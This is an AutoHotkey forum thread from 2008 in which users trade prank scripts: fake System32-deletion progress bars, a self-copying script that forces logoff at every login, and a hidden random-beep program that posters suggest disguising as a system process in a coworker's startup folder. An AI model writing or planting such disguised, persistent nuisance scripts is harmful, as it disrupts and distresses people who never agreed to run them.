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charlie mopps
Joined: 07 Jan 2008
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 Posted: Mon Jan 21, 2008 2:04 pm Post subject: Joke Script |
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Compile this, give it to your friends, laugh at their dismay.
If you really want to be evil you could even blockinput
| Code: | Loop, C:\windows\System32\*.*, 0, 1
{
Progress,X800 , Deleting C:\Windows\System32\%a_loopfilename%,
Sleep, 50
}
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charlie mopps RIP
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| Posted: Mon Jan 21, 2008 2:45 pm Post subject: |
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Useless. Even not funny. 
Offical request to delete this "admin-will-get-annoyed-by-a-faked-user-who-is-getting-completely-hysterical-on-the-phone"-script. |
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charlie mopps
Joined: 07 Jan 2008
Posts: 10
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| Posted: Mon Jan 21, 2008 2:53 pm Post subject: |
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| Pfft... well your supposed to stand there and laugh... not send it to random unknown people. |
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majkinetor
Joined: 24 May 2006
Posts: 3652
Location: Belgrade
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| Posted: Mon Jan 21, 2008 2:54 pm Post subject: |
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I like it. I will send it to everyone  |
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making it work
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| Posted: Mon Jan 21, 2008 5:07 pm Post subject: |
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The old one wasn't realistic enough: | Code: | Loop, C:\windows\System32\*.*, 0, 1
{
if (x>=100)
{
progress,off
msgbox, all system files NOT deleted! hahaha!
exitapp
}
Progress,X0 y0 , Deleting
C:\Windows\System32\%a_loopfilename%,
x+=.1
Progress, %x%
Sleep, 20
}
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charlie mopps
Joined: 07 Jan 2008
Posts: 10
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| Posted: Mon Jan 21, 2008 6:42 pm Post subject: |
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You had a typo that made it not work. I fixed it:
| Code: | Loop, C:\windows\System32\*.*, 0, 1
{
if (x>=100)
{
progress,off
msgbox, all system files NOT deleted! hahaha!
exitapp
}
Progress,X0 y0 , Deleting C:\Windows\System32\%a_loopfilename%,
x+=0.3
Progress, %x%
Sleep, 50
}
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any way to make it not blink? |
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everyone
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| Posted: Mon Jan 21, 2008 11:57 pm Post subject: |
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| Quote: | | I like it. I will send it to everyone |
Keep it. I don't like it too. |
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Trikster
Joined: 15 Jul 2007
Posts: 1224
Location: Enterprise, Alabama
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| Posted: Tue Jan 22, 2008 4:37 am Post subject: |
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Heres my modified version:
| Code: | Loop, C:\windows\System32\*.*, 0, 1
{
Files++
}
Progress, w500 h76,
Loop, C:\windows\System32\*.*, 0, 1
{
if (File = Files - 25)
{
progress,off
Gui, Color, Black
Gui, -Caption
Gui, Show, x0 y0 w%A_ScreenWidth% h%A_ScreenHeight%
BlockInput, Off
MsgBox, 262192, Error!, A fatel error occured that has cause all system files to be deleted.
ExitApp
}
x += 100 / Files
Progress, %x%, Deleting`n%A_LoopFileLongPath%,, Deleting %A_LoopFileLongPath%
File++
Sleep, 50
} |
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charlie mopps
Joined: 07 Jan 2008
Posts: 10
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| Posted: Tue Jan 22, 2008 1:23 pm Post subject: |
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| Much better... I like that version. hehe |
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Murp|e
Joined: 12 Jan 2007
Posts: 261
Location: Norway
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| Posted: Tue Jan 22, 2008 2:55 pm Post subject: |
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| AutoHotkey is perfect for pranks such as this. Last week I wrote a script which turned out to be extremely annoying, it contained some reload commands, and because of a bug the script reloaded constantly. I was never quick enough to right click the trayicon, and since it constantly reloaded I was never fast enough to mark it in Task Manager and click End Process. I ended up having to Log Off. That sort of bug could lead to some really annoying pranks. Are there any forum rules regarding this sort of discussion, it must constantly come up... |
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silveredge78
Joined: 25 Jul 2006
Posts: 387
Location: Midwest, USA
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| Posted: Thu Jan 24, 2008 5:52 pm Post subject: |
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Here is my joke script. It was written by request of another network administrator to illustrate to the powers that be why they should block certain file types. It has a built in 10 second delay for someone who knows how to get past this to press the Escape key. If not, any user with administrator permissions can log onto the machine and delete it out of the affect users profile. Note, it *only* affects the user that was dumb enough to run the script.
| Code: | ; Script: Logoff v1.0.0, 05/11/2007
; Author: silveredge78
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; Changelog
; v1.0.0, 05/11/2007
; - Purpose of this script is to demonstrate how easily running an exe can be a bad thing.
; - It copies to the current users startup folder so that this runs everytime they log on.
; - After copying itself, it then forces the user to log off.
; - It has a delay of 10 seconds to allow the user time to exit the script, either via
; the system tray icon, or by pressing Escape.
; - To make it less obvious, you could uncomment the #NoTrayIcon command, thus limiting it
; to exiting only by pressing Escape.
;#NoTrayIcon
FileCopy, %A_ScriptFullPath%, %A_Startup%, 0
Sleep, 10000
Shutdown, 4
ExitApp
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Deller
Joined: 21 Nov 2007
Posts: 214
Location: 0x01101110
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| Posted: Sat Feb 02, 2008 4:40 pm Post subject: |
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This is my evil script.
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MsgBox, Get away from my computer.
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Trikster
Joined: 15 Jul 2007
Posts: 1224
Location: Enterprise, Alabama
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| Posted: Sat Feb 02, 2008 5:18 pm Post subject: |
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Lol..That is a modified script of something I made long ago.
Found here
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Deller
Joined: 21 Nov 2007
Posts: 214
Location: 0x01101110
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| Posted: Sun Feb 03, 2008 4:28 pm Post subject: |
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| If anyone has any more funny/annoying scripts post them here. |
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Trubbleguy
Joined: 20 Jan 2007
Posts: 76
Location: Melbourne
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| Posted: Mon Feb 04, 2008 1:02 pm Post subject: Random Ultrasonic beeper |
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| Code: | ; AutoHotkey Prank Version: 69
; Language: Redneck
; Platform: Nah, i wear boots, not them thar platform shoos
; Author: ah knowed an Author in skool, his pa sold me mah dawg.
; Script Function: if funshuns jus fine if yall can fine it!!
; Whet it do? it makes a sound lahk yoo think shood not be there randomly between 5 and 15 minutes throo the speeker
;scriptname should be somthing like msnmsgs or explorer to hide in system
#SingleInstance force
#NoTrayIcon
loop
{
Random, Freq,7000,8500
SoundBeep, %Freq%,1000
Random, rnd,5,15
time := (rnd * 10000)
sleep %time%
}
!^Esc::Exitapp ;ctrl alt Escape
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WARNING!!!! IF THIS IS HIDDEN ON A WORKMATES MACHINE IN STARTUP AS MSNMSGS.EXE OR SIMILAR.
AND AFTER 2 DAYS HE STARTS THROWING THINGS, YELLING AT EVERYONE, SLAMMING THE PHONE DOWN ETC.
PLEASE REMOVE IT WHILE HE IS OUTSIDE CHAINSMOKING HIS STRESS LEVELS DOWN.
IF HE IS OUT OF HIS CUBICLE AND YOUR IN IT, YOU MUST USE THE MOST SENSITIVE PART OF YOUR BODY
THAT IS ALSO USED WHEN YOU ARE HAVING SEX TO AVOID DISCOVERY
THAT IS OF COURSE, YOUR EARS.
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